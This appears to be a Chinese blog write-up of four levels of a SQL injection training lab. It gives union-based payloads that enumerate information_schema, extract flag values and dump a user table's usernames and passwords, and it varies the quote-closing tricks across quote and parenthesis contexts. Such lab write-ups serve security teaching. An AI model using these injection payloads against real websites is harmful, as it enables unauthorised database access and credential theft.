封神台靶场 | 显错注入 | Pass01-04

原创

haijvng 于 2021-03-05 17:12:04 发布 373 收藏 1

分类专栏： 封神台靶场 文章标签： SQL注入

本文链接：https://blog.csdn.net/Fanny0602/article/details/114368167

封神台靶场 | 显错注入

题目地址： 掌控安全学院SQL注入靶场

文章目录

任务

通过显错注入获得flag。

对该页面进行GET传参，传参名为id

Pass01

数据库查询语句：

```
select * from user where id=1
```

查询该列数据：表示该列只有3条对应的数据

```
id=1，id=2，id=3：正确
id=4：No results found（报错）
```

查询字段数：表示该表只有三列字段

```
order by 1，order by 2，  order by 3 ：正确
order by 4 ：No results found（报错）
```

查询数据库版本和当前使用的数据库 ：

当前使用的数据库版本：5.6.47 ；

当前使用的数据库：error

```
id=1 and 1=2 : No results found（报错）
id=1 and 1=2 union select 1, version(),database()
```

MYSQL补充知识点：

- UNION
  MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。（来源：菜鸟教程）
- LIMIT
  select columnName from tableName limit 0,1
  即是指从表中从第0行开始取数据，取1行。
- information_schema 库
  在MYSQL中，information_schema 存放着mysql的系统信息。简单介绍一下下面会用到的几个表。
  - SCHEMATA：存放MYSQL中所有的数据库名。
  - TABLES：存放MYSQL中所有的表名，xx库下都有xx表。
  - COLUMNS：存放MYSQL中所有的列名，xx库下的xx表都有xx列。

查询所需数据：

- error库下的数据表： error_flag 、 user

```
id=1  and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='error' limit 0,1
```

这里连接两个select语句，第一条（select *from user where id=1 and 1=2）明显是错的，所以只显示第二条select语句所查询到的结果。

- error库下的数据表： error_flag 、 user

```
id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='error' limit 0,1
```

- error库下的error_flag表下的列： id、flag

```
id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_n
ame='error_flag' limit 0,1
```

- error库下的 error_flag表中的flag字段的内容 ：
  zKaQ-Nf、zKaQ-BJY、zKaQ-XiaoFang、zKaq-98K

```
id=1 and 1=2 union select 1,2, flag from error_flag limit 0,1
```

至此，该数据库中所有的flag都被查询出来。

- 正确的查询语句：

```
select * from user where id=1 and 1=2 union select 1,2, flag from error_flag limit 0,1
```

查询user表中的内容 ：

- 查询user表中的列：

```
id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema='error'  and table_name='user' limit 0,1
```

- error库下的user表中的列：id、username、password
  查到的数据 name，password： test,mima ; niefeng,7580241 ; ssg,Nopassword

```
id=1 and 1=2 union select 1, username,password from user limit 0,1
```

这里所查到的数据与修改id号所查到的数据一致。

Pass02

数据库查询语句：

```
select * from user where id='1'
```

注意点：’的补全

- 在heard里补全的内容如下

```
id=5' union select '1',(select flag from error_flag limit 0,1 ),'2
```

上面我们只有查到3条数据，所以id=5是无法查到数据的。接下来查到的数据中只会显示union后面那条语句的内容。

- 正确查询语句：

```
select * from user where id='5' union select '1',(select flag from error_flag limit 0,1 ),'2'
```

Pass03

数据库查询语句：

```
select * from user where id=('1')
```

注意点：’） 的补全

- 在heard里补全的内容如下

```
id=5') union select ('1'),(select flag from error_flag limit 0,1 ),('2
```

- 正确的查询语句：

```
select * from user where id=('5') union select ('1'),(select flag from error_flag limit 0,1 ),('2')
```

Pass04

数据库查询语句：

```
select * from user where id=("1")
```

注意点："） 的补全

- 在heard里补全的内容如下

```
id=5") union select ("1"),(select flag from error_flag limit 0,1 ),("2
```

- 正确的查询语句：

```
select * from user where id=("5") union select ("1"),(select flag from error_flag limit 0,1 ),("2")
```